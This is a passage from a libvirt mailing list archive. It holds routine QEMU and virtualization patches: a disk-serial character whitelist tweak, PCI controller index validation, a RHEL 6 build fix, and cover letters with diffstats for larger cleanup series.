Disk serial schema has extra '.+' allowed characters in comparison with check in code. Looks like there is no reason for that as qemu allows any character AFAIK for serial. This discrepancy is originated in 85d15b51 where ability to add serial was added. --- src/qemu/qemu_command.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/qemu/qemu_command.c b/src/qemu/qemu_command.c index c76f923..c5369b0 100644 --- a/src/qemu/qemu_command.c +++ b/src/qemu/qemu_command.c @@ -432,7 +432,7 @@ qemuBuildIoEventFdStr(virBufferPtr buf, } #define QEMU_SERIAL_PARAM_ACCEPTED_CHARS \ - "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_ " + "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_ .+" static int qemuSafeSerialParamValue(const char *value) -- 1.8.3.1

2 1

[libvirt] [PATCH 0/4] qemu: Use additional data reported by the hyperv panic notifier
by Peter Krempa 27 Mar '17

27 Mar '17

Allow easier debug of windows crashes by reporting the 5 additional field now reported by qemu if the hyperv panic notifier is used. Plus few cleanups noticed while adding the code. Peter Krempa (4): qemu: driver: Remove useless forward declarations qemu: driver: Fix formatting in processGuestPanicEvent qemu: monitor: Extract additional info from GUEST_PANICKED event qemu: Log additional data from hyperv crash notifier src/qemu/qemu_driver.c | 81 +++++++++++++++++++++++++++++++------------- src/qemu/qemu_monitor.c | 15 ++++++-- src/qemu/qemu_monitor.h | 32 ++++++++++++++++- src/qemu/qemu_monitor_json.c | 56 ++++++++++++++++++++++++++++-- src/qemu/qemu_process.c | 2 ++ 5 files changed, 157 insertions(+), 29 deletions(-) -- 2.12.0

2 10

[libvirt] [PATCH] conf: validate that PCI controller index is < 256
by Laine Stump 27 Mar '17

27 Mar '17

This is the maximum for many reasons, for starters because index == bus number, and a controller's bus number is 8 bits. This incidentally resolves: https://bugzilla.redhat.com/1329090 --- src/conf/domain_conf.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/src/conf/domain_conf.c b/src/conf/domain_conf.c index 6bbc6a2..2139ab0 100644 --- a/src/conf/domain_conf.c +++ b/src/conf/domain_conf.c @@ -4846,6 +4846,24 @@ virDomainNetDefValidate(const virDomainNetDef *net) static int +virDomainControllerDefValidate(const virDomainControllerDef *controller) +{ + if (controller->type == VIR_DOMAIN_CONTROLLER_TYPE_PCI) { + if (controller->idx > 255) { + virReportError(VIR_ERR_CONFIG_UNSUPPORTED, + _("PCI controller index %d too high, or too many " + "PCI controllers. A maximum of 256 PCI " + "controllers is allowed, and the maximum value " + "of the index attribute is 255"), + controller->idx); + return -1; + } + } + return 0; +} + + +static int virDomainDeviceDefValidateInternal(const virDomainDeviceDef *dev, const virDomainDef *def) { @@ -4867,6 +4885,7 @@ virDomainDeviceDefValidateInternal(const virDomainDeviceDef *dev, case VIR_DOMAIN_DEVICE_HOSTDEV: case VIR_DOMAIN_DEVICE_WATCHDOG: case VIR_DOMAIN_DEVICE_CONTROLLER: + return virDomainControllerDefValidate(dev->data.controller); case VIR_DOMAIN_DEVICE_GRAPHICS: case VIR_DOMAIN_DEVICE_HUB: case VIR_DOMAIN_DEVICE_SMARTCARD: -- 2.9.3

2 3

[libvirt] [PATCH] util: fix build on RHEL 6
by Eric Blake 27 Mar '17

27 Mar '17

We keep forgetting that older setups don't like 'index': CC util/libvirt_util_la-virsysinfo.lo cc1: warnings being treated as errors util/virstoragefile.c: In function 'virStorageSourceFindByNodeName': util/virstoragefile.c:3804: error: declaration of 'index' shadows a global declaration [-Wshadow] /usr/include/string.h:489: error: shadowed declaration is here [-Wshadow] Signed-off-by: Eric Blake <eblake(a)redhat.com> --- Pushing under the build-breaker rule src/util/virstoragefile.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/src/util/virstoragefile.c b/src/util/virstoragefile.c index 0ac7079..22cdb83 100644 --- a/src/util/virstoragefile.c +++ b/src/util/virstoragefile.c @@ -1,7 +1,7 @@ /* * virstoragefile.c: file utility functions for FS storage backend * - * Copyright (C) 2007-2014, 2016 Red Hat, Inc. + * Copyright (C) 2007-2017 Red Hat, Inc. * Copyright (C) 2007-2008 Daniel P. Berrange * * This library is free software; you can redistribute it and/or @@ -3801,23 +3801,23 @@ virStorageSourceIsRelative(virStorageSourcePtr src) virStorageSourcePtr virStorageSourceFindByNodeName(virStorageSourcePtr top, const char *nodeName, - unsigned int *index) + unsigned int *idx) { virStorageSourcePtr tmp; - if (index) - *index = 0; + if (idx) + *idx = 0; for (tmp = top; tmp; tmp = tmp->backingStore) { if ((tmp->nodeformat && STREQ(tmp->nodeformat, nodeName)) || (tmp->nodebacking && STREQ(tmp->nodebacking, nodeName))) return tmp; - if (index) - (*index)++; + if (idx) + (*idx)++; } - if (index) - *index = 0; + if (idx) + *idx = 0; return NULL; } -- 2.9.3

1 0

[libvirt] [PATCH 00/23] Pre-CAT preparation patches (mostly trivial, I promise)
by Martin Kletzander 27 Mar '17

27 Mar '17

Don't get pushed away just because it is 23 patches. They are almost one-liners. Just a lot of stuff I got dragged into, lot of rabbit holes where I reached the end, basically lot of side fixes. That's mostly due to one of the bigger changes being removed from the series completely about two days ago when I realized I'm not spending week of fixing terribly tricky stuff just so we can test one more teeny tiny thing that's not even needed (which I realized way too late). The patches are available on github: https://github.com/nertpinx/libvirt -- branch pre-cat The patches should be *really* nice to review, and there's lot of cleanups. The only reason for this patch-series to add more lines than remove them, is because it adds tests. And tests are good and yummy. Me like tests... Yeah, I guess it's Friday, 8PM. I should go home... Bye. Martin Kletzander (23): Add virNumaGetNodeCPUs to private syms Introduce virCPUProbeHost Expose virCapabilitiesFreeGuest vmware: Fix some initialization problems cpu: Don't use prefixes for no reason syms: Add one newline to make things consistent tests: Fix indentation in virhostcputest vz: Do not use magic constants when building capabilities Separate syms based on files they are defined in openvz: Ditch openvzGetNodeCPUs tests: Remove some unneeded files virfile: Add helpers for reading simple values tests: Add cpu/{online,present} files for old tests util: Add virsysfs for handling sysfs files util: Adapt virhostcpu to the new virsysfs Move src/fdstream to src/util/virfdstream Remove src/nodeinfo util: Fix naming in util/virnodesuspend Change virQEMUCapsInitPages to virCapabilitiesInitPages tests: Add sysfs node/cpu topology for the only vircaps2xml testcase tests: Add linux-caches sysfs entries for vircaps2xmltest tests: Add virnumamock tests: Enhance vircaps2xml test cfg.mk | 2 +- po/POTFILES.in | 3 +- src/Makefile.am | 7 +- src/bhyve/bhyve_capabilities.c | 20 +- src/bhyve/bhyve_driver.c | 7 +- src/conf/capabilities.c | 317 +++++++++++++++- src/conf/capabilities.h | 9 + src/conf/virchrdev.c | 2 +- src/cpu/cpu.c | 15 +- src/cpu/cpu.h | 5 +- src/libvirt_linux.syms | 1 - src/libvirt_private.syms | 93 +++-- src/libxl/libxl_migration.c | 2 +- src/lxc/lxc_conf.c | 3 +- src/lxc/lxc_driver.c | 7 +- src/nodeinfo.c | 418 --------------------- src/openvz/openvz_conf.c | 17 +- src/openvz/openvz_conf.h | 1 - src/openvz/openvz_driver.c | 5 +- src/phyp/phyp_driver.c | 3 +- src/qemu/qemu_capabilities.c | 43 +-- src/qemu/qemu_conf.c | 1 - src/qemu/qemu_driver.c | 7 +- src/qemu/qemu_migration.c | 2 +- src/storage/storage_driver.c | 2 +- src/storage/storage_util.c | 2 +- src/test/test_driver.c | 2 +- src/uml/uml_conf.c | 3 +- src/uml/uml_driver.c | 7 +- src/{fdstream.c => util/virfdstream.c} | 4 +- src/{fdstream.h => util/virfdstream.h} | 2 +- src/util/virfile.c | 83 ++++ src/util/virfile.h | 6 + src/util/virhostcpu.c | 345 +++++------------ src/util/virhostcpu.h | 7 +- src/util/virhostcpupriv.h | 2 - src/util/virnodesuspend.c | 20 +- src/util/virnodesuspend.h | 6 +- src/util/virsysfs.c | 229 +++++++++++ src/util/virsysfs.h | 70 ++++ src/{nodeinfo.h => util/virsysfspriv.h} | 18 +- src/vbox/vbox_common.c | 7 +- src/vmware/vmware_conf.c | 20 +- src/vz/vz_driver.c | 16 +- src/vz/vz_sdk.c | 1 - src/xen/xen_driver.c | 5 +- tests/Makefile.am | 7 + tests/commandtest.c | 1 - tests/fdstreamtest.c | 2 +- .../linux-basic/cpu/cpu0/topology/core_id} | 0 .../linux-basic/cpu/cpu0/topology/core_siblings | 1 + .../cpu/cpu0/topology/core_siblings_list | 1 + .../cpu/cpu0/topology/physical_package_id} | 0 .../linux-basic/cpu/cpu0/topology/thread_siblings | 1 + .../cpu/cpu0/topology/thread_siblings_list} | 0 .../linux-basic/cpu/cpu1/topology/core_id | 1 + .../linux-basic/cpu/cpu1/topology/core_siblings | 1 + .../cpu/cpu1/topology/core_siblings_list | 1 + .../cpu/cpu1/topology/physical_package_id} | 0 .../linux-basic/cpu/cpu1/topology/thread_siblings | 1 + .../cpu/cpu1/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu10/topology/core_id | 1 + .../linux-basic/cpu/cpu10/topology/core_siblings | 1 + .../cpu/cpu10/topology/core_siblings_list | 1 + .../cpu/cpu10/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu10/topology/thread_siblings | 1 + .../cpu/cpu10/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu11/topology/core_id | 1 + .../linux-basic/cpu/cpu11/topology/core_siblings | 1 + .../cpu/cpu11/topology/core_siblings_list | 1 + .../cpu/cpu11/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu11/topology/thread_siblings | 1 + .../cpu/cpu11/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu12/topology/core_id | 1 + .../linux-basic/cpu/cpu12/topology/core_siblings | 1 + .../cpu/cpu12/topology/core_siblings_list | 1 + .../cpu/cpu12/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu12/topology/thread_siblings | 1 + .../cpu/cpu12/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu13/topology/core_id | 1 + .../linux-basic/cpu/cpu13/topology/core_siblings | 1 + .../cpu/cpu13/topology/core_siblings_list | 1 + .../cpu/cpu13/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu13/topology/thread_siblings | 1 + .../cpu/cpu13/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu14/topology/core_id | 1 + .../linux-basic/cpu/cpu14/topology/core_siblings | 1 + .../cpu/cpu14/topology/core_siblings_list | 1 + .../cpu/cpu14/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu14/topology/thread_siblings | 1 + .../cpu/cpu14/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu15/topology/core_id | 1 + .../linux-basic/cpu/cpu15/topology/core_siblings | 1 + .../cpu/cpu15/topology/core_siblings_list | 1 + .../cpu/cpu15/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu15/topology/thread_siblings | 1 + .../cpu/cpu15/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu2/topology/core_id | 1 + .../linux-basic/cpu/cpu2/topology/core_siblings | 1 + .../cpu/cpu2/topology/core_siblings_list | 1 + .../cpu/cpu2/topology/physical_package_id} | 0 .../linux-basic/cpu/cpu2/topology/thread_siblings | 1 + .../cpu/cpu2/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu3/topology/core_id | 1 + .../linux-basic/cpu/cpu3/topology/core_siblings | 1 + .../cpu/cpu3/topology/core_siblings_list | 1 + .../cpu/cpu3/topology/physical_package_id} | 0 .../linux-basic/cpu/cpu3/topology/thread_siblings | 1 + .../cpu/cpu3/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu4/topology/core_id | 1 + .../linux-basic/cpu/cpu4/topology/core_siblings | 1 + .../cpu/cpu4/topology/core_siblings_list | 1 + .../cpu/cpu4/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu4/topology/thread_siblings | 1 + .../cpu/cpu4/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu5/topology/core_id | 1 + .../linux-basic/cpu/cpu5/topology/core_siblings | 1 + .../cpu/cpu5/topology/core_siblings_list | 1 + .../cpu/cpu5/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu5/topology/thread_siblings | 1 + .../cpu/cpu5/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu6/topology/core_id | 1 + .../linux-basic/cpu/cpu6/topology/core_siblings | 1 + .../cpu/cpu6/topology/core_siblings_list | 1 + .../cpu/cpu6/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu6/topology/thread_siblings | 1 + .../cpu/cpu6/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu7/topology/core_id | 1 + .../linux-basic/cpu/cpu7/topology/core_siblings | 1 + .../cpu/cpu7/topology/core_siblings_list | 1 + .../cpu/cpu7/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu7/topology/thread_siblings | 1 + .../cpu/cpu7/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu8/topology/core_id | 1 + .../linux-basic/cpu/cpu8/topology/core_siblings | 1 + .../cpu/cpu8/topology/core_siblings_list | 1 + .../cpu/cpu8/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu8/topology/thread_siblings | 1 + .../cpu/cpu8/topology/thread_siblings_list | 1 + .../linux-basic/cpu/cpu9/topology/core_id | 1 + .../linux-basic/cpu/cpu9/topology/core_siblings | 1 + .../cpu/cpu9/topology/core_siblings_list | 1 + .../cpu/cpu9/topology/physical_package_id | 1 + .../linux-basic/cpu/cpu9/topology/thread_siblings | 1 + .../cpu/cpu9/topology/thread_siblings_list | 1 + tests/vircaps2xmldata/linux-basic/cpu/online | 1 + tests/vircaps2xmldata/linux-basic/cpu/present | 1 + tests/vircaps2xmldata/linux-basic/node/node0/cpu0 | 1 + tests/vircaps2xmldata/linux-basic/node/node0/cpu1 | 1 + tests/vircaps2xmldata/linux-basic/node/node0/cpu2 | 1 + tests/vircaps2xmldata/linux-basic/node/node0/cpu3 | 1 + .../vircaps2xmldata/linux-basic/node/node0/cpulist | 1 + tests/vircaps2xmldata/linux-basic/node/node1/cpu4 | 1 + tests/vircaps2xmldata/linux-basic/node/node1/cpu5 | 1 + tests/vircaps2xmldata/linux-basic/node/node1/cpu6 | 1 + tests/vircaps2xmldata/linux-basic/node/node1/cpu7 | 1 + .../vircaps2xmldata/linux-basic/node/node1/cpulist | 1 + tests/vircaps2xmldata/linux-basic/node/node2/cpu10 | 1 + tests/vircaps2xmldata/linux-basic/node/node2/cpu11 | 1 + tests/vircaps2xmldata/linux-basic/node/node2/cpu8 | 1 + tests/vircaps2xmldata/linux-basic/node/node2/cpu9 | 1 + .../vircaps2xmldata/linux-basic/node/node2/cpulist | 1 + tests/vircaps2xmldata/linux-basic/node/node3/cpu12 | 1 + tests/vircaps2xmldata/linux-basic/node/node3/cpu13 | 1 + tests/vircaps2xmldata/linux-basic/node/node3/cpu14 | 1 + tests/vircaps2xmldata/linux-basic/node/node3/cpu15 | 1 + .../vircaps2xmldata/linux-basic/node/node3/cpulist | 1 + tests/vircaps2xmldata/linux-basic/node/online | 1 + tests/vircaps2xmldata/linux-basic/node/possible | 1 + .../linux-caches/cpu/cpu0/cache/index0/level | 1 + .../cpu/cpu0/cache/index0/shared_cpu_list | 1 + .../cpu/cpu0/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu0/cache/index0/size | 1 + .../linux-caches/cpu/cpu0/cache/index0/type | 1 + .../linux-caches/cpu/cpu0/cache/index1/level | 1 + .../cpu/cpu0/cache/index1/shared_cpu_list | 1 + .../cpu/cpu0/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu0/cache/index1/size | 1 + .../linux-caches/cpu/cpu0/cache/index1/type | 1 + .../linux-caches/cpu/cpu0/cache/index2/level | 1 + .../cpu/cpu0/cache/index2/shared_cpu_list | 1 + .../cpu/cpu0/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu0/cache/index2/size | 1 + .../linux-caches/cpu/cpu0/cache/index2/type | 1 + .../linux-caches/cpu/cpu0/cache/index3/level | 1 + .../cpu/cpu0/cache/index3/shared_cpu_list} | 0 .../cpu/cpu0/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu0/cache/index3/size | 1 + .../linux-caches/cpu/cpu0/cache/index3/type | 1 + .../linux-caches/cpu/cpu0/topology/core_id} | 0 .../linux-caches/cpu/cpu0/topology/core_siblings | 1 + .../cpu/cpu0/topology/core_siblings_list} | 0 .../cpu/cpu0/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu0/topology/thread_siblings | 1 + .../cpu/cpu0/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu1/cache/index0/level | 1 + .../cpu/cpu1/cache/index0/shared_cpu_list | 1 + .../cpu/cpu1/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu1/cache/index0/size | 1 + .../linux-caches/cpu/cpu1/cache/index0/type | 1 + .../linux-caches/cpu/cpu1/cache/index1/level | 1 + .../cpu/cpu1/cache/index1/shared_cpu_list | 1 + .../cpu/cpu1/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu1/cache/index1/size | 1 + .../linux-caches/cpu/cpu1/cache/index1/type | 1 + .../linux-caches/cpu/cpu1/cache/index2/level | 1 + .../cpu/cpu1/cache/index2/shared_cpu_list | 1 + .../cpu/cpu1/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu1/cache/index2/size | 1 + .../linux-caches/cpu/cpu1/cache/index2/type | 1 + .../linux-caches/cpu/cpu1/cache/index3/level | 1 + .../cpu/cpu1/cache/index3/shared_cpu_list} | 0 .../cpu/cpu1/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu1/cache/index3/size | 1 + .../linux-caches/cpu/cpu1/cache/index3/type | 1 + .../linux-caches/cpu/cpu1/topology/core_id | 1 + .../linux-caches/cpu/cpu1/topology/core_siblings | 1 + .../cpu/cpu1/topology/core_siblings_list} | 0 .../cpu/cpu1/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu1/topology/thread_siblings | 1 + .../cpu/cpu1/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu2/cache/index0/level | 1 + .../cpu/cpu2/cache/index0/shared_cpu_list | 1 + .../cpu/cpu2/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu2/cache/index0/size | 1 + .../linux-caches/cpu/cpu2/cache/index0/type | 1 + .../linux-caches/cpu/cpu2/cache/index1/level | 1 + .../cpu/cpu2/cache/index1/shared_cpu_list | 1 + .../cpu/cpu2/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu2/cache/index1/size | 1 + .../linux-caches/cpu/cpu2/cache/index1/type | 1 + .../linux-caches/cpu/cpu2/cache/index2/level | 1 + .../cpu/cpu2/cache/index2/shared_cpu_list | 1 + .../cpu/cpu2/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu2/cache/index2/size | 1 + .../linux-caches/cpu/cpu2/cache/index2/type | 1 + .../linux-caches/cpu/cpu2/cache/index3/level | 1 + .../cpu/cpu2/cache/index3/shared_cpu_list} | 0 .../cpu/cpu2/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu2/cache/index3/size | 1 + .../linux-caches/cpu/cpu2/cache/index3/type | 1 + .../linux-caches/cpu/cpu2/topology/core_id | 1 + .../linux-caches/cpu/cpu2/topology/core_siblings | 1 + .../cpu/cpu2/topology/core_siblings_list} | 0 .../cpu/cpu2/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu2/topology/thread_siblings | 1 + .../cpu/cpu2/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu3/cache/index0/level | 1 + .../cpu/cpu3/cache/index0/shared_cpu_list | 1 + .../cpu/cpu3/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu3/cache/index0/size | 1 + .../linux-caches/cpu/cpu3/cache/index0/type | 1 + .../linux-caches/cpu/cpu3/cache/index1/level | 1 + .../cpu/cpu3/cache/index1/shared_cpu_list | 1 + .../cpu/cpu3/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu3/cache/index1/size | 1 + .../linux-caches/cpu/cpu3/cache/index1/type | 1 + .../linux-caches/cpu/cpu3/cache/index2/level | 1 + .../cpu/cpu3/cache/index2/shared_cpu_list | 1 + .../cpu/cpu3/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu3/cache/index2/size | 1 + .../linux-caches/cpu/cpu3/cache/index2/type | 1 + .../linux-caches/cpu/cpu3/cache/index3/level | 1 + .../cpu/cpu3/cache/index3/shared_cpu_list} | 0 .../cpu/cpu3/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu3/cache/index3/size | 1 + .../linux-caches/cpu/cpu3/cache/index3/type | 1 + .../linux-caches/cpu/cpu3/topology/core_id | 1 + .../linux-caches/cpu/cpu3/topology/core_siblings | 1 + .../cpu/cpu3/topology/core_siblings_list} | 0 .../cpu/cpu3/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu3/topology/thread_siblings | 1 + .../cpu/cpu3/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu4/cache/index0/level | 1 + .../cpu/cpu4/cache/index0/shared_cpu_list | 1 + .../cpu/cpu4/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu4/cache/index0/size | 1 + .../linux-caches/cpu/cpu4/cache/index0/type | 1 + .../linux-caches/cpu/cpu4/cache/index1/level | 1 + .../cpu/cpu4/cache/index1/shared_cpu_list | 1 + .../cpu/cpu4/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu4/cache/index1/size | 1 + .../linux-caches/cpu/cpu4/cache/index1/type | 1 + .../linux-caches/cpu/cpu4/cache/index2/level | 1 + .../cpu/cpu4/cache/index2/shared_cpu_list | 1 + .../cpu/cpu4/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu4/cache/index2/size | 1 + .../linux-caches/cpu/cpu4/cache/index2/type | 1 + .../linux-caches/cpu/cpu4/cache/index3/level | 1 + .../cpu/cpu4/cache/index3/shared_cpu_list} | 0 .../cpu/cpu4/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu4/cache/index3/size | 1 + .../linux-caches/cpu/cpu4/cache/index3/type | 1 + .../linux-caches/cpu/cpu4/topology/core_id} | 0 .../linux-caches/cpu/cpu4/topology/core_siblings | 1 + .../cpu/cpu4/topology/core_siblings_list} | 0 .../cpu/cpu4/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu4/topology/thread_siblings | 1 + .../cpu/cpu4/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu5/cache/index0/level | 1 + .../cpu/cpu5/cache/index0/shared_cpu_list | 1 + .../cpu/cpu5/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu5/cache/index0/size | 1 + .../linux-caches/cpu/cpu5/cache/index0/type | 1 + .../linux-caches/cpu/cpu5/cache/index1/level | 1 + .../cpu/cpu5/cache/index1/shared_cpu_list | 1 + .../cpu/cpu5/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu5/cache/index1/size | 1 + .../linux-caches/cpu/cpu5/cache/index1/type | 1 + .../linux-caches/cpu/cpu5/cache/index2/level | 1 + .../cpu/cpu5/cache/index2/shared_cpu_list | 1 + .../cpu/cpu5/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu5/cache/index2/size | 1 + .../linux-caches/cpu/cpu5/cache/index2/type | 1 + .../linux-caches/cpu/cpu5/cache/index3/level | 1 + .../cpu/cpu5/cache/index3/shared_cpu_list} | 0 .../cpu/cpu5/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu5/cache/index3/size | 1 + .../linux-caches/cpu/cpu5/cache/index3/type | 1 + .../linux-caches/cpu/cpu5/topology/core_id | 1 + .../linux-caches/cpu/cpu5/topology/core_siblings | 1 + .../cpu/cpu5/topology/core_siblings_list} | 0 .../cpu/cpu5/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu5/topology/thread_siblings | 1 + .../cpu/cpu5/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu6/cache/index0/level | 1 + .../cpu/cpu6/cache/index0/shared_cpu_list | 1 + .../cpu/cpu6/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu6/cache/index0/size | 1 + .../linux-caches/cpu/cpu6/cache/index0/type | 1 + .../linux-caches/cpu/cpu6/cache/index1/level | 1 + .../cpu/cpu6/cache/index1/shared_cpu_list | 1 + .../cpu/cpu6/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu6/cache/index1/size | 1 + .../linux-caches/cpu/cpu6/cache/index1/type | 1 + .../linux-caches/cpu/cpu6/cache/index2/level | 1 + .../cpu/cpu6/cache/index2/shared_cpu_list | 1 + .../cpu/cpu6/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu6/cache/index2/size | 1 + .../linux-caches/cpu/cpu6/cache/index2/type | 1 + .../linux-caches/cpu/cpu6/cache/index3/level | 1 + .../cpu/cpu6/cache/index3/shared_cpu_list} | 0 .../cpu/cpu6/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu6/cache/index3/size | 1 + .../linux-caches/cpu/cpu6/cache/index3/type | 1 + .../linux-caches/cpu/cpu6/topology/core_id | 1 + .../linux-caches/cpu/cpu6/topology/core_siblings | 1 + .../cpu/cpu6/topology/core_siblings_list} | 0 .../cpu/cpu6/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu6/topology/thread_siblings | 1 + .../cpu/cpu6/topology/thread_siblings_list | 1 + .../linux-caches/cpu/cpu7/cache/index0/level | 1 + .../cpu/cpu7/cache/index0/shared_cpu_list | 1 + .../cpu/cpu7/cache/index0/shared_cpu_map | 1 + .../linux-caches/cpu/cpu7/cache/index0/size | 1 + .../linux-caches/cpu/cpu7/cache/index0/type | 1 + .../linux-caches/cpu/cpu7/cache/index1/level | 1 + .../cpu/cpu7/cache/index1/shared_cpu_list | 1 + .../cpu/cpu7/cache/index1/shared_cpu_map | 1 + .../linux-caches/cpu/cpu7/cache/index1/size | 1 + .../linux-caches/cpu/cpu7/cache/index1/type | 1 + .../linux-caches/cpu/cpu7/cache/index2/level | 1 + .../cpu/cpu7/cache/index2/shared_cpu_list | 1 + .../cpu/cpu7/cache/index2/shared_cpu_map | 1 + .../linux-caches/cpu/cpu7/cache/index2/size | 1 + .../linux-caches/cpu/cpu7/cache/index2/type | 1 + .../linux-caches/cpu/cpu7/cache/index3/level | 1 + .../cpu/cpu7/cache/index3/shared_cpu_list} | 0 .../cpu/cpu7/cache/index3/shared_cpu_map | 1 + .../linux-caches/cpu/cpu7/cache/index3/size | 1 + .../linux-caches/cpu/cpu7/cache/index3/type | 1 + .../linux-caches/cpu/cpu7/topology/core_id | 1 + .../linux-caches/cpu/cpu7/topology/core_siblings | 1 + .../cpu/cpu7/topology/core_siblings_list} | 0 .../cpu/cpu7/topology/physical_package_id} | 0 .../linux-caches/cpu/cpu7/topology/thread_siblings | 1 + .../cpu/cpu7/topology/thread_siblings_list | 1 + tests/vircaps2xmldata/linux-caches/cpu/kernel_max | 1 + .../linux-caches/cpu/online} | 0 .../linux-caches/cpu/present} | 0 tests/vircaps2xmldata/linux-caches/node/node0/cpu0 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu1 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu2 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu3 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu4 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu5 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu6 | 1 + tests/vircaps2xmldata/linux-caches/node/node0/cpu7 | 1 + .../linux-caches/node/node0/cpulist} | 0 .../linux-caches/node/node0/meminfo | 31 ++ .../linux-caches/node/online} | 0 .../linux-caches/node}/possible | 0 tests/vircaps2xmldata/vircaps-aarch64-basic.xml | 64 ++++ tests/vircaps2xmldata/vircaps-basic-4-4-2G.xml | 74 ---- tests/vircaps2xmldata/vircaps-x86_64-basic.xml | 62 +++ tests/vircaps2xmldata/vircaps-x86_64-caches.xml | 33 ++ tests/vircaps2xmltest.c | 133 +++---- .../cpu/offline | 0 .../cpu/possible | 0 tests/virhostcpudata/linux-deconf-cpus/cpu/offline | 1 - .../virhostcpudata/linux-deconf-cpus/cpu/possible | 1 - tests/virhostcpudata/linux-raspberrypi/cpu/offline | 1 - .../linux-rhelsa-3.19.0-mustang/cpu/offline | 1 - tests/virhostcpudata/linux-subcores1/cpu/offline | 1 - tests/virhostcpudata/linux-subcores1/cpu/possible | 1 - tests/virhostcpudata/linux-subcores2/cpu/offline | 1 - tests/virhostcpudata/linux-subcores2/cpu/possible | 1 - tests/virhostcpudata/linux-subcores3/cpu/offline | 1 - tests/virhostcpudata/linux-subcores3/cpu/possible | 1 - tests/virhostcpudata/linux-test1/cpu/online | 1 + tests/virhostcpudata/linux-test1/cpu/present | 1 + tests/virhostcpudata/linux-test2/cpu/online | 1 + tests/virhostcpudata/linux-test2/cpu/present | 1 + tests/virhostcpudata/linux-test3/cpu/online | 1 + tests/virhostcpudata/linux-test3/cpu/present | 1 + tests/virhostcpudata/linux-test4/cpu/online | 1 + tests/virhostcpudata/linux-test4/cpu/present | 1 + tests/virhostcpudata/linux-test5/cpu/online | 1 + tests/virhostcpudata/linux-test5/cpu/present | 1 + tests/virhostcpudata/linux-test6/cpu/online | 1 + .../cpu/possible => linux-test6/cpu/present} | 0 tests/virhostcpudata/linux-test7/cpu/online | 1 + tests/virhostcpudata/linux-test7/cpu/present | 1 + tests/virhostcpudata/linux-test8/cpu/offline | 0 tests/virhostcpudata/linux-test8/cpu/possible | 1 - tests/virhostcputest.c | 